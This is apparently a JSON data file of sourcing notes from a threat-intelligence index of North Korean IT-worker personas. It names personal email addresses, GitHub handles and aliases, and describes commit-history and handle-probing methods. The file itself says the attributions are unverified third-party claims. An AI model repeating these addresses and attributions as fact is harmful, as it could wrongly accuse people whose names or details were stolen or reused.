{"v":2,"generated_at":"2026-11-13T04:32:58Z","contexts":["Read on 12 September 2026 from a listing on the pipu.cc marketplace whose product description is this curriculum vitae and whose product image is the photograph shown. The listing went up on 2 July 2025 from a seller account named after the CV's subject, one of 1,882 such listings posted between 26 June and 2 July 2025 that between them hold about 1,860 CVs. The address aaronh6487@gmail.com is what tied the listing to this site's index: it appears in DTEX's i3 Threat Advisory email-indicator appendix, which DTEX itself says is not evidence of a confirmed attribution and may list addresses whose real owners are uninvolved. Every other value here is read from the listing itself and is the listing's own claim. A CV in this set may be a real person's stolen document, so the name on it, and the employers and schools it lists, may belong to someone with no part in the operation.","Hayden McKenzie publishes this as one of the aliases recovered from a DPRK IT worker cell's own files, on a per-alias record that gives its location as Texas and the role it presents as Senior Mobile Developer, and the contact details above. The record was not on the site when this one first read it on 22 September 2026 and appeared alongside the report The Women Behind North Korea's IT Worker Operations, published on 23 September, so that is the date cited. The name is the identity the operation presents, not the operator's; a real person whose name or details it may have been assembled from is not the worker.","Read 2026-09-24 by searching GitHub commits for the persona's address. aronknox930608, created in July 2015 and named Aaron Knox, shows the persona's address publicly and signs its commits with it: an older account carrying the persona.","Entry in the lazarus.group DPRK IT-worker registry, which asserts that these accounts belong to one operator and gives their real citizenship as North Korea. The registry publishes no methodology, so this is recorded as its claim and not as a finding of this site. Its evidence links and its cross-references to other operators in the same registry are deliberately not reproduced as indicators.","Transcribed from the ZEUS-DEV-919 working document, an unsigned compilation published as a Google Doc and linked from a repository on the zeus-dev919 GitHub account. The document describes itself as raw data with no filtering applied and asks a reader to verify every linkage before acting on it, so it is carried here as that compilation's claim and not as a finding of this site. Its persona table pairs each name with the address and Skype identifier the application used. The Skype number is the same one the table gives against Layton Hart, a link the document does not draw itself.","Found on 24 September 2026 by searching GitHub's commit index for every personal address the lazarus.group registry and the ZEUS-DEV-919 working document give for a persona, and keeping the accounts whose own commits are signed with one. GitHub mints a noreply address from an account's immutable numeric id, in the form id+handle@users.noreply.github.com, so former handles below are a matter of record.\n\ngithub.com/smartABC0 is account id 109083960, created on 11 July 2022, with five public repositories. GitHub attributes 231 commits to it, and all 100 its search returns are signed smartadamjones@gmail.com, the address the ZEUS-DEV-919 working document gives for Adam Jones.","A reply to browsercookies giving the identity as a single block of addresses, a telephone number and four links. Two separate LinkedIn accounts are listed under the one name. The post text is complete rather than truncated, so the indicator list here is the whole of what it states. The address tyson.star.912.913@gmail.com is the dominant author on the commits in this account's own GitHub repositories, recovered 2026-09-12; it is the operator's own commit address, not a forked repo's upstream author. The persona tysonstar912913, captured separately in this file from a later thread, is the same holder. Its address tyson.star.912913@gmail.com and the tyson.star.912.913@gmail.com recorded here differ only in the placement of a full stop, which Gmail ignores, so the normalizer already collapses both to one value and both personas already appear on that indicator. The commit walk of 2026-09-19 puts the resemblance beyond a shared mailbox: the repositories of both accounts carry commits from the same two author lines, tysonstar912913 <tyson.star.912913@gmail.com> 41 times here and 88 there, and adam719912 <tyson.star.912.913@gmail.com> 13 times here and 7 there. The profile README of adam912913 also still carries the template comment naming tysonstar912913/tysonstar912913, which records the account it was copied from. The two entries are kept apart because each is the record of a different researcher post, not because the site reads them as two people.","Entry in the lazarus.group DPRK IT-worker registry, which asserts that these accounts belong to one operator. The registry publishes no methodology, so this is recorded as its claim and not as a finding of this site. Its evidence links and its cross-references to other operators in the same registry are deliberately not reproduced as indicators.","Found on 12 September 2026 by searching the open web for the account handles this site already holds for this operator, and read directly from the page cited. Two GitLab accounts exist under two of the logins attributed to this operator, and each presents a different name again: gsofter is \"Adelin Ionut\", a member since 17 August 2021, and guru2921 is \"Guru Softwaremaster\", a member since 27 February 2020. Neither carries a bio, a location or a link. Two accounts under this operator’s handles presenting two further unrelated names is the pattern this dataset shows throughout, and it is why a name on any of these pages is treated as what the account presents rather than as an identification. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Hayden McKenzie publishes this as one of 53 generated female personas in a DPRK IT worker cell's account register, each built around an Outlook mailbox and a LinkedIn profile for an identity based in Poland; the address above is that mailbox. The register marks a LinkedIn profile as created for it; the profile's address is not published. The report The Women Behind North Korea's IT Worker Operations, published the same day, attributes the register to a first-time operative the cell calls Jasmine Bell, who built it in her first weeks after being told to favour European identities because U.S. profiles were too troublesome to create; its own table counts 57 Outlook accounts across the eight country tabs, four more than the site publishes records for. The name is a generated identity, not the operator's, and a real woman who shares it is not the worker.","The post states the operator runs a project called DIFINES and that his initials may be KWH or CCI, and cites an analysis of IT-worker logs published by chollima-group.io alongside the accounts.","Found on 17 September 2026 by asking Hugging Face whether an account exists under aiden77mori, one of the logins the registry already holds for this operator, and read from the profile cited. The account states a display name of Aiden Mori. The display name is kept here rather than as an alias, because it restates the handle, describes the work, or repeats what this operator is already called. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 18 September 2026 by taking the local part of an address this index already holds for this operator -- codeknight0707 -- and asking GitLab whether an account exists under it. The address is on a consumer mail host, where the local part is a login the holder chose rather than one an employer assigned; handles taken from company addresses were excluded from this pass for that reason. The account states a display name of Lin Elliot. The login is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 18 September 2026 by taking the local part of an address this index already holds for this operator -- smartfox1203 -- and asking GitLab whether an account exists under it. The address is on a consumer mail host, where the local part is a login the holder chose rather than one an employer assigned; handles taken from company addresses were excluded from this pass for that reason. The account states a display name of Roy Lee. The login is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 18 September 2026 by putting smartfox1203, the GitLab login the index already holds for this persona, to Maigret's username search and then asking Freelancer's public user endpoint, which answers with the account record and, for a name that does not exist, with nothing. Freelancer returns the account with the display name Closed User and a registration date of 15 May 2022: an account existed under the handle and has since been closed, which is recorded here because a closed account is still a registration, and the date is the one fact it states. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 24 September 2026 by searching GitHub's commit index for every personal address this index transcribes from researchers' posts, and keeping the accounts whose own commits are signed with one. GitHub mints a noreply address from an account's immutable numeric id, in the form id+handle@users.noreply.github.com, so the former handles below are a matter of record. Counts of an account's own commits are over the 100 that GitHub's search returns for it.\n\ngithub.com/0xdanieltran is account id 89995315, created on 2 September 2021, with 109 public repositories. Its noreply addresses name the handles aiden77mori and hellovlady, so it is the account Narcass3 names as github.com/aiden77mori under Aiden Mori, renamed; hellovlady is also a handle this index carries from other reporting, and both now return not found. Its repositories hold 82 commits signed aiden77mori@gmail.com and 3 signed smartfox1203@gmail.com, both addresses the researcher gives for the persona; its own commits are signed danillppiont106@gmail.com (83 of 100) and danieltran124@outlook.com (10), recorded here as the account's own.","Found on 29 September 2026 by searching GitHub's code for the handles this site already holds for the persona (0xdanieltran, aiden77mori) and reading the files that name them: contact blocks, profile READMEs and portfolio data in the persona's own repositories or in repositories that credit its accounts. Each value is cited to the file it was read from. Values in copied templates, client team pages and test data are not carried.","The post writes the operator's principal name three ways, as Superpol@ris, Superpol@irs and Superpol@rtis, with an @ standing in for a letter, and glosses the first of them as SuperPolaris. It states that the account ares-dev05 links to this identity rather than that the two are the same person.","Read on 12 September 2026 from a listing on the pipu.cc marketplace whose product description is this curriculum vitae and whose product image is the photograph shown. The listing went up on 1 July 2025 from a seller account named after the CV's subject, one of 1,882 such listings posted between 26 June and 2 July 2025 that between them hold about 1,860 CVs. The address alanham127@gmail.com is what tied the listing to this site's index: it appears in DTEX's i3 Threat Advisory email-indicator appendix, which DTEX itself says is not evidence of a confirmed attribution and may list addresses whose real owners are uninvolved. Every other value here is read from the listing itself and is the listing's own claim. A CV in this set may be a real person's stolen document, so the name on it, and the employers and schools it lists, may belong to someone with no part in the operation.","Hayden McKenzie publishes this as one of the aliases recovered from a DPRK IT worker cell's own files, on a per-alias record that gives its location as Harlingen, Texas and the role it presents as Senior Software Engineer, and the contact details above. The record adds two mailboxes from the persona's working files. The record was not on the site when this one first read it on 22 September 2026 and appeared alongside the report The Women Behind North Korea's IT Worker Operations, published on 23 September, so that is the date cited. The name is the identity the operation presents, not the operator's; a real person whose name or details it may have been assembled from is not the worker.","The researcher presents all of these accounts as one operator, given only by the initials KGJ, across four posts on the same day. The first lists the X and GitHub accounts, the second names the identities Lendon Bracewell, John Faryno, Flavio Santos and Felix Martel and links a PeoplePerHour freelancer profile, and the last two list the addresses. Both spellings dev0825conscientious and dev0825conscientiouos are transcribed as published; the second looks like a typo the operator made, and correcting it would invent an address. Several of these accounts already reach this site from tayvano's research repository and the lazarus.group registry, so those records carry both citations.","Found on 13 September 2026 by probing every account handle this site already holds for this operator against dev.to, and read from the profile's own public API. An account exists under truecode112, a login the index already carries for this persona on another platform. It gives a joined date of Dec 15, 2022. It displays \"TrueCode\", a display name rather than a person's name. The profile links a GitHub account, truecode112. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 18 September 2026 by taking the local part of an address this index already holds for this operator -- truecoder112 -- and asking GitLab whether an account exists under it. The address is on a consumer mail host, where the local part is a login the holder chose rather than one an employer assigned; handles taken from company addresses were excluded from this pass for that reason. The account states a display name of True Coder. The display name is kept here rather than carried as an alias, because it restates the handle, describes the work, or is too bare to be a name. The login is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Transcribed by hand from the screenshot published in the cited post, read at full resolution rather than from a thumbnail. The screenshot shows the display name Alerdi Jane over the GitHub handle happylucktomorrow, a bio reading \"I am a Senior Web Developer | WordPress | Shopify | Ecommerce | Woocommerce | Figma | AWS | Azure | Git\", and 5 followers against 5 following. The post states that this account follows Butter1011, which it places on the Kaize3 team, and IdealDev1010, which it says also goes by Ivana; it gives no platform for either handle, so neither is recorded as an indicator here. The address tylerthomas62239@gmail.com is the dominant author on the commits in this account's own GitHub repositories, recovered 2026-09-12; it is the operator's own commit address, not a forked repo's upstream author.","Hayden McKenzie publishes this as one of the aliases recovered from a DPRK IT worker cell's own files, on a per-alias record that gives its location as Phoenix, Arizona and the role it presents as Senior Full Stack AI Software Engineer, and the contact details above. The record was not on the site when this one first read it on 22 September 2026 and appeared alongside the report The Women Behind North Korea's IT Worker Operations, published on 23 September, so that is the date cited. The name is the identity the operation presents, not the operator's; a real person whose name or details it may have been assembled from is not the worker.","The GitHub account is read by hand from the first attached screenshot, a profile page headed Code Maestro with the handle codemaestro11, 56 repositories, and a README whose language breakdown is mostly TypeScript and Solidity. The post's own text states the two names and adds that the operator may attach the number 917 to email addresses; no address is shown, so none is recorded here. This is one of the names docs/x-source-backlog.md had been carrying as unresolved on the belief that it existed only inside an image. It is in the post's text, in a window the sweep never reached.","Four names the researcher gives as one operator's, with the claim that the identity is documented by a Texas state ID, a Canadian passport, a Finnish passport and a United States green card recording China as the country of birth. The documents themselves are not reproduced here and the attached image is a cropped identity photograph rather than a document.","LinkedIn profile the researcher assesses as a DPRK IT worker, giving Engineering Specialist, Lehi, Utah, listing Brand E lab and UCLA, and marked open to work. Three further screenshots in the same post show the profile photograph reused elsewhere on the web, as Luis Davis on a towing company page and as testimonials signed Dave Kane and John M, which is the post's actual point.","The address is transcribed by hand from the attached screenshot of the GitHub profile page for codemaster730, which displays it under the profile's contact links.","The researcher addresses the X account directly and gives the identity's name as Alex Wang. The GitHub account is written in the post as \"github[.]comdevking0718\", missing the slash; it is transcribed here as the account that string plainly denotes.","Found on 17 September 2026 by asking Docker Hub whether an account exists under devking0718, one of the logins the registry already holds for this operator, and read from the profile cited. The account states a registration date of 22 February 2025. Its full-name field holds an email address rather than a name, devking0718@gmail.com, which this index already carries for this operator — so the account joins on a value the page itself states and not only on the handle. A display name on a profile is a name the account presents, not an identification; here it is the shared address rather than the handle that does the joining.","Hayden McKenzie publishes this as one of the aliases tracked across the three investigations the site cites, on a per-alias record that gives its location as Odessa, Texas, the role it presents as Senior Backend Engineer, and the contact details above. This site already holds the address alexandersimmons824@gmail.com, recovered from the commit history of a GitHub account Narcass3 addressed as a DPRK operator in May 2025 and filed here without a persona name. When the record was first read the name matched and the address did not. It now lists alexandersimmons824@gmail.com as the address on a frontend résumé in this name, so the mailbox Narcass3 reached and the alias Hayden McKenzie names are the same value, found by two researchers from unrelated material. The alias pages carry no date of their own, so the date cited is the site's own \"Updated 19 Aug 2026\" stamp, the last date it states anything was published. When the site published its fourth report on 23 September 2026 the record grew by five mailboxes and a GitHub account drawn from the persona's own working files, cited to that date. The name is the identity the operation presents, not the operator's; a real person whose name or details it may have been assembled from is not the worker.","Read on 12 September 2026 from a listing on the pipu.cc marketplace whose product description is this curriculum vitae and whose product image is the photograph shown. The listing went up on 30 June 2025 from a seller account named after the CV's subject, one of 1,882 such listings posted between 26 June and 2 July 2025 that between them hold about 1,860 CVs. The address alexandersimmons824@gmail.com is what tied the listing to this site's index: it appears in a post by Cookie Connoisseur (@browsercookies) on X listing it among one operator's accounts without naming the operator. Every other value here is read from the listing itself and is the listing's own claim. A CV in this set may be a real person's stolen document, so the name on it, and the employers and schools it lists, may belong to someone with no part in the operation.","Transcribed from the ZEUS-DEV-919 working document, an unsigned compilation published as a Google Doc and linked from a repository on the zeus-dev919 GitHub account. The document describes itself as raw data with no filtering applied and asks a reader to verify every linkage before acting on it, so it is carried here as that compilation's claim and not as a finding of this site. Its persona table pairs each name with the address and Skype identifier the application used. Eight names in that table share one address and one Skype identifier, which is why they are one entry here rather than eight. The telephone number is the one the table gives against the Brian Cook row, on a line that otherwise carries the same Skype identifier as the rest.","The post states that this operator recruits others to carry out work for him and so scale the operation. The alias Benjmain Stewart is transcribed as the post spells it. Two follow-up posts in the same thread quote his recruiting message, sent to people listed on virtualstaff.ph as a Senior Software Developer from Singapore seeking a virtual assistant, and the arrangement offered: payments from customers land in the recruit's own account and card, and the recruit forwards 90 percent of the income to him. Neither post carries a further typable indicator.","The researcher notes that the name Banana also appears in a daily work summary sheet among documents leaked from the group, which is why he singles this identity out; one of the attached images is that sheet, headed BANANA DAILY SUM-UP and logging job-application counts and working hours of ten to fifteen a day through January 2023. The GitHub account, address, Telegram handle and site are transcribed by hand from a second attached screenshot of the profile page, which carries the display name BitBanana over the handle BitFancy.","Hayden McKenzie publishes this as one of 53 generated female personas in a DPRK IT worker cell's account register, each built around an Outlook mailbox and a LinkedIn profile for an identity based in the United Kingdom; the address above is that mailbox. The register marks no LinkedIn profile as created for it. The report The Women Behind North Korea's IT Worker Operations, published the same day, attributes the register to a first-time operative the cell calls Jasmine Bell, who built it in her first weeks after being told to favour European identities because U.S. profiles were too troublesome to create; its own table counts 57 Outlook accounts across the eight country tabs, four more than the site publishes records for. The name is a generated identity, not the operator's, and a real woman who shares it is not the worker.","Hayden McKenzie publishes this as one of 53 generated female personas in a DPRK IT worker cell's account register, each built around an Outlook mailbox and a LinkedIn profile for an identity based in Poland; the address above is that mailbox. The register marks no LinkedIn profile as created for it, and it is the second account made under this name. The report The Women Behind North Korea's IT Worker Operations, published the same day, attributes the register to a first-time operative the cell calls Jasmine Bell, who built it in her first weeks after being told to favour European identities because U.S. profiles were too troublesome to create; its own table counts 57 Outlook accounts across the eight country tabs, four more than the site publishes records for. The name is a generated identity, not the operator's, and a real woman who shares it is not the worker.","Hayden McKenzie publishes this as one of 53 generated female personas in a DPRK IT worker cell's account register, each built around an Outlook mailbox and a LinkedIn profile for an identity based in Poland; the address above is that mailbox. The register marks no LinkedIn profile as created for it. The report The Women Behind North Korea's IT Worker Operations, published the same day, attributes the register to a first-time operative the cell calls Jasmine Bell, who built it in her first weeks after being told to favour European identities because U.S. profiles were too troublesome to create; its own table counts 57 Outlook accounts across the eight country tabs, four more than the site publishes records for. The name is a generated identity, not the operator's, and a real woman who shares it is not the worker.","Found on 13 September 2026 by probing every account handle this site already holds for this operator against GitLab, and read from the profile cited. An active GitLab account exists under good725, a login the index already carries for this persona on another platform. The profile states no member-since date this site could read. It displays the name Teo Ubeda, which no source this site holds had attached to this operator before. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification. The profile's bio, location and links render only in a browser and were not read, so nothing is claimed about them either way.","Found on 24 September 2026 by searching GitHub's commit index for every personal address the lazarus.group registry and the ZEUS-DEV-919 working document give for a persona, and keeping the accounts whose own commits are signed with one. GitHub mints a noreply address from an account's immutable numeric id, in the form id+handle@users.noreply.github.com, so former handles below are a matter of record.\n\ngithub.com/and923 is account id 81178410, created on 22 March 2021, display name Andy, bio Sr. Smart contract dev. GitHub attributes 2,551 commits to it, and all 100 its search returns are signed cetbdb23@gmail.com, an address lazarus.group gives for Anderson Lee.","Found on 24 September 2026 by searching GitHub's commit index for published persona addresses and reading which account GitHub attributes the commits to. GitHub credits a commit to the account that has the signing address registered and verified, which only the holder of the mailbox can do, so an attributed account is one the address's holder controls, whichever repository the commits sit in and whenever the address was added. Counts are of the commits GitHub's search returns, up to 100.\n\nGitHub attributes 1 commit signed aleson092325@gmail.com, an address the lazarus.group registry publishes for this persona, to github.com/anlee111, account id 86676141, created on 29 June 2021, display name Anderson Lee, with 1 public repository.","","Name the researcher publishes for an operator encountered on a video call, with a bookshelf virtual background in use. The post states the name and attaches the still, and publishes no account or address alongside either.","Found on 18 September 2026 by taking the local part of an address this index already holds for this operator -- loyaldev -- and asking Hugging Face whether an account exists under it. The address is on a consumer mail host, where the local part is a login the holder chose rather than one an employer assigned; handles taken from company addresses were excluded from this pass for that reason. The account states a display name of ANDREW LOYAL. The login is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Hayden McKenzie publishes this as one of the aliases recovered from a DPRK IT worker cell's own files, on a per-alias record that gives its location as Tampa, Florida and the role it presents as Staff Software Engineer, and the contact details above. The record was not on the site when this one first read it on 22 September 2026 and appeared alongside the report The Women Behind North Korea's IT Worker Operations, published on 23 September, so that is the date cited. The name is the identity the operation presents, not the operator's; a real person whose name or details it may have been assembled from is not the worker.","Hayden McKenzie publishes this as one of the aliases recovered from a DPRK IT worker cell's own files, on a per-alias record that gives the role it presents as Senior Mobile Engineer, and the contact details above. The record was not on the site when this one first read it on 22 September 2026 and appeared alongside the report The Women Behind North Korea's IT Worker Operations, published on 23 September, so that is the date cited. The name is the identity the operation presents, not the operator's; a real person whose name or details it may have been assembled from is not the worker.","SOTAHire's article reports that Consensys, the company behind MetaMask, confirmed it had unknowingly engaged a contractor under the identity Tyler Knapp through a third-party staffing firm, who worked on MetaMask code from 9 March to April 2026 before the contractor's ties to the DPRK IT-worker network were found. The article ties that contractor to the GitHub account imyugioh, display name Yu-Gi-Oh!, which it traces to account id 54774811 and to the earlier logins raptor1001, ethlocker, burndai and 0xlocker, and it lists the further personas Ryan Choi, Stephen Gooden, Andrian Fadhilla and the new Ryota Suzuki with their accounts and addresses, all transcribed here. The article reports the Ryan Choi LinkedIn account and Calendly link as dead; the Calendly link is carried for the record. The Ryota Suzuki LinkedIn account was live when checked on 24 September 2026. The lazarus.group registry, which this index already holds, files blueraptor1001@gmail.com and choi.link227@gmail.com under Mauro Liu, and Raden Wilford's article, filed under that name, covers the same identity.","ZachXBT published a table of the fake identities this operator ran, drawn from a device an unnamed source compromised. The post states five IT workers between them operated more than thirty identities, using purchased Upwork and LinkedIn accounts and government IDs to obtain developer jobs. THE VALUES BELOW WERE READ FROM THE SCREENSHOT IN THE POST, not from text: the table is an image and exists in no machine-readable form. Each was transcribed and checked against the image by a person, and the team designation is the source's own grouping, not an inference drawn here. One value in the table is shared with another team. The GitHub account github.com/intellltech is listed twice in the image, once on the Shan Shan Feng row under this team and once on the Henry Zhang row under Tiger, spelled identically in both. It is recorded against both operators because that is what the source shows; it is not a transcription error here, and it is the only value in the table that appears under two teams. The address robertodifiore75@gmail.com is the dominant author on the commits in this account's own GitHub repositories, recovered 2026-09-12; it is the operator's own commit address, not a forked repo's upstream author.","Found on 13 September 2026 by probing every account handle this site already holds for this operator against GitLab, and read from the profile cited. An active GitLab account exists under rango527, a login the index already carries for this persona on another platform. The profile gives a member-since date of 27 August 2020. It displays the name Davron Ghafurov, which no source this site holds had attached to this operator before. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification. The profile's bio, location and links render only in a browser and were not read, so nothing is claimed about them either way.","Found on 12 September 2026 by probing the platforms an operator usually reuses a login on, for the handles this site already holds, and read directly from the page cited. A GitLab account under toparc077, one of the logins attributed to this operator, displaying the name Andy Hoog and a member since 14 November 2018 — by some years the oldest account this sweep turned up. No bio, location or links.","The four posts are one thread by the same researcher. He names the operator Janus or Angel in the second, calls him Star boy in the third where the addresses are described as the older ones, and adds the last address in the fourth alongside a remark about a GitHub account holding sixty repositories, which the post does not name.","Hayden McKenzie publishes this as one of 53 generated female personas in a DPRK IT worker cell's account register, each built around an Outlook mailbox and a LinkedIn profile for an identity based in the Netherlands; the address above is that mailbox. The register marks no LinkedIn profile as created for it. The report The Women Behind North Korea's IT Worker Operations, published the same day, attributes the register to a first-time operative the cell calls Jasmine Bell, who built it in her first weeks after being told to favour European identities because U.S. profiles were too troublesome to create; its own table counts 57 Outlook accounts across the eight country tabs, four more than the site publishes records for. The name is a generated identity, not the operator's, and a real woman who shares it is not the worker.","Found on 13 September 2026 by probing every account handle this site already holds for this operator against GitLab, and read from the profile cited. An active GitLab account exists under smartdev914, a login the index already carries for this persona on another platform. The profile gives a member-since date of 2 December 2024. It displays the name Corey Monath, which no source this site holds had attached to this operator before. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification. The profile's bio, location and links render only in a browser and were not read, so nothing is claimed about them either way.","Found on 13 September 2026 by probing every account handle this site already holds for this operator against dev.to, and read from the profile's own public API. An account exists under superstar-lucas, a login the index already carries for this persona on another platform. It gives a joined date of Jul 11, 2024. It displays \"Lucas Lee\", a display name rather than a person's name. The profile links a GitHub account, Superstar-Lucas. It gives a location of Singapore. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 17 September 2026 by asking Docker Hub whether an account exists under midas92, one of the logins the registry already holds for this operator, and read from the profile cited. The account states a registration date of 23 February 2025 and a display name of Guillaume Likulia. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 17 September 2026 by asking Hugging Face whether an account exists under midas92, one of the logins the registry already holds for this operator, and read from the profile cited. The account states a display name of Ifeakachukwu Okwuazu. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Read on 20 September 2026 by walking the commit history of every repository on the GitHub accounts github.com/midas92 and github.com/Intel-Tiny and github.com/onedev425 and github.com/fmkt18dev, already held under this persona, and tallying the author line on every commit. A commit's author line is what the holder configured their git client with rather than anything the profile page chooses to display, so it recovers addresses the account never states. The addresses recorded here were not already in this index: bravelancers@gmail.com authored 301 commits across 11 of its repositories, commits as \"midas92\"; dounanpar@gmail.com authored 138 commits across 2 of its repositories, commits as \"midas92\"; speeddemon0115@gmail.com authored 31 commits across 7 of its repositories, commits as \"Intel-Tiny\"; june.dev914@gmail.com authored 2 commits across the repository onedev425/onedev425, commits as \"onedev425\"; fabiomkt18@gmail.com authored 2 commits across the repository fmkt18dev/testdev, commits as \"fmkt18dev\". Each is admitted because it commits under a name the account itself uses, which is the test that separates the holder's own address from the original author of a repository copied in. Addresses belonging to unrelated developers whose work appears in these repositories are deliberately not recorded, and an address is evidence that whoever held it wrote those commits rather than proof of who holds the account.","Found on 24 September 2026 by searching GitHub's commit index for published persona addresses and reading which account GitHub attributes the commits to. GitHub credits a commit to the account that has the signing address registered and verified, which only the holder of the mailbox can do, so an attributed account is one the address's holder controls, whichever repository the commits sit in and whenever the address was added. Counts are of the commits GitHub's search returns, up to 100.\n\nGitHub attributes 100 commits signed lucaslee971127@gmail.com, an address meow_mfer publishes for this persona, to the login VisionarySuperstar, which no longer resolves.","Found on 17 September 2026 by asking Hugging Face whether an account exists under anthon-dev, one of the logins the registry already holds for this operator, and read from the profile cited. The account states a display name of Anthoniño Louise Noynay. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 12 September 2026 by searching the open web for the account handles this site already holds for this operator, and read directly from the page cited. A GitLab account under the login bejaxer, one of the GitHub logins attributed to this operator, states its display name as Anthony Keller — which is the other name the same reporting files this identity under — and a member-since date of 28 February 2022. No bio, location or links.","Hayden McKenzie publishes this as one of 53 generated female personas in a DPRK IT worker cell's account register, each built around an Outlook mailbox and a LinkedIn profile for an identity based in Estonia; the address above is that mailbox. The register shows an error against its LinkedIn profile. The report The Women Behind North Korea's IT Worker Operations, published the same day, attributes the register to a first-time operative the cell calls Jasmine Bell, who built it in her first weeks after being told to favour European identities because U.S. profiles were too troublesome to create; its own table counts 57 Outlook accounts across the eight country tabs, four more than the site publishes records for. The name is a generated identity, not the operator's, and a real woman who shares it is not the worker.","Read from the table image the post carries, rather than from its text. The post is the head of the thread whose later parts this file already cites: those parts restate the table in plain text, and the cells transcribed here are the ones no part reached. The researcher's own layout is what supplies the attribution -- a cell is headed with a Korean name and lists the aliases, accounts and addresses filed under it. The table writes the name without spaces, as KimThaeGwang, and annotates the third alias \"claims Ukrainian\" -- that is the researcher describing a nationality the persona asserts, not a statement about a real Ukrainian of that name.","Hayden McKenzie publishes this as one of the aliases tracked across the three investigations the site cites, on a per-alias record that gives its location as Manville, New Jersey, the role it presents as Senior .NET Full Stack Engineer, and the contact details above. The alias pages carry no date of their own, so the date cited is the site's own \"Updated 19 Aug 2026\" stamp, the last date it states anything was published. When the site published its fourth report on 23 September 2026 the record grew by a LinkedIn profile drawn from the persona's own working files, cited to that date. The name is the identity the operation presents, not the operator's; a real person whose name or details it may have been assembled from is not the worker.","ZachXBT published a table of the fake identities this operator ran, drawn from a device an unnamed source compromised. The post states five IT workers between them operated more than thirty identities, using purchased Upwork and LinkedIn accounts and government IDs to obtain developer jobs. THE VALUES BELOW WERE READ FROM THE SCREENSHOT IN THE POST, not from text: the table is an image and exists in no machine-readable form. Each was transcribed and checked against the image by a person, and the team designation is the source's own grouping, not an inference drawn here. The address skyclean906@gmail.com is the dominant author on the commits in this account's own GitHub repositories, recovered 2026-09-12; it is the operator's own commit address, not a forked repo's upstream author.","Found on 18 September 2026 by taking the local part of an address this index already holds for this operator -- skyclean906 -- and asking GitLab whether an account exists under it. The address is on a consumer mail host, where the local part is a login the holder chose rather than one an employer assigned; handles taken from company addresses were excluded from this pass for that reason. The account states a display name of skyclean-china. The display name is kept here rather than carried as an alias, because it restates the handle, describes the work, or is too bare to be a name. The login is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Read on 20 September 2026 by walking the commit history of every repository on the GitHub account github.com/itdream-dev, already held under this persona, and tallying the author line on every commit. A commit's author line is what the holder configured their git client with rather than anything the profile page chooses to display, so it recovers addresses the account never states. The address recorded here was not already in this index: troy.reid1@googlemail.com authored 1 commit across the repository itdream-dev/DIYTCoin-Core, commits as \"itdream-dev\". Each is admitted because it commits under a name the account itself uses, which is the test that separates the holder's own address from the original author of a repository copied in. Addresses belonging to unrelated developers whose work appears in these repositories are deliberately not recorded, and an address is evidence that whoever held it wrote those commits rather than proof of who holds the account.","ZachXBT published a table of the fake identities this operator ran, drawn from a device an unnamed source compromised. The post states five IT workers between them operated more than thirty identities, using purchased Upwork and LinkedIn accounts and government IDs to obtain developer jobs. THE VALUES BELOW WERE READ FROM THE SCREENSHOT IN THE POST, not from text: the table is an image and exists in no machine-readable form. Each was transcribed and checked against the image by a person, and the team designation is the source's own grouping, not an inference drawn here.","The first cited post states that the identity has claimed to be a Malaysian fullstack developer living in Kuala Lumpur, and separately to be in Khabarovsk and in Moscow, and that it appears as a named author on an academic paper. The accounts are listed in the second post, which is a reply in the same thread. The paper page also names a co-author, Chun-Hu Cui at fleetpro@gmail.com; that address is recorded because it co-authored the fabricated paper the post exposes, though the post names He-Song Cui rather than Chun-Hu Cui as the DPRK worker.","The post describes this GitHub account as one of the few central accounts of the DPRK network on GitHub, used to promote and endorse the wider developer network rather than to carry a persona's own work, and warns that being followed by it is itself a signal. Four images are attached and the post text runs past the length the syndication endpoint returns, so only the account itself is transcribed; the follower and following lists it shows are not.","Hayden McKenzie publishes this as one of 53 generated female personas in a DPRK IT worker cell's account register, each built around an Outlook mailbox and a LinkedIn profile for an identity based in Finland; the address above is that mailbox. The register marks a LinkedIn profile as created for it; the profile's address is not published. The report The Women Behind North Korea's IT Worker Operations, published the same day, attributes the register to a first-time operative the cell calls Jasmine Bell, who built it in her first weeks after being told to favour European identities because U.S. profiles were too troublesome to create; its own table counts 57 Outlook accounts across the eight country tabs, four more than the site publishes records for. The name is a generated identity, not the operator's, and a real woman who shares it is not the worker.","The GitHub account is read by hand from the third attached screenshot, a profile page headed Awesome with the handle 7CodeWizard, 73 repositories and 1.2k followers, and from a second capture of a bare profile card reading Jaron Gaston with no followers. This entry is browsercookies writing about the same name meow_mfer wrote about separately in June 2025. The two citations are independent, and the site groups them under one persona because they name the same identity.","Read on 20 September 2026 by walking the commit history of every repository on the GitHub account github.com/BitFancy, already held under this persona, and tallying the author line on every commit. A commit's author line is what the holder configured their git client with rather than anything the profile page chooses to display, so it recovers addresses the account never states. The addresses recorded here were not already in this index: alricbauer422031@gmail.com authored 1834 commits across 47 of its repositories, commits as \"BitFancy\"; jackpassiondev07@gmail.com authored 1 commit across the repository BitFancy/Solana-Mev-Bot-Optimize, commits as \"bitfancy\". Each is admitted because it commits under a name the account itself uses, which is the test that separates the holder's own address from the original author of a repository copied in. Addresses belonging to unrelated developers whose work appears in these repositories are deliberately not recorded, and an address is evidence that whoever held it wrote 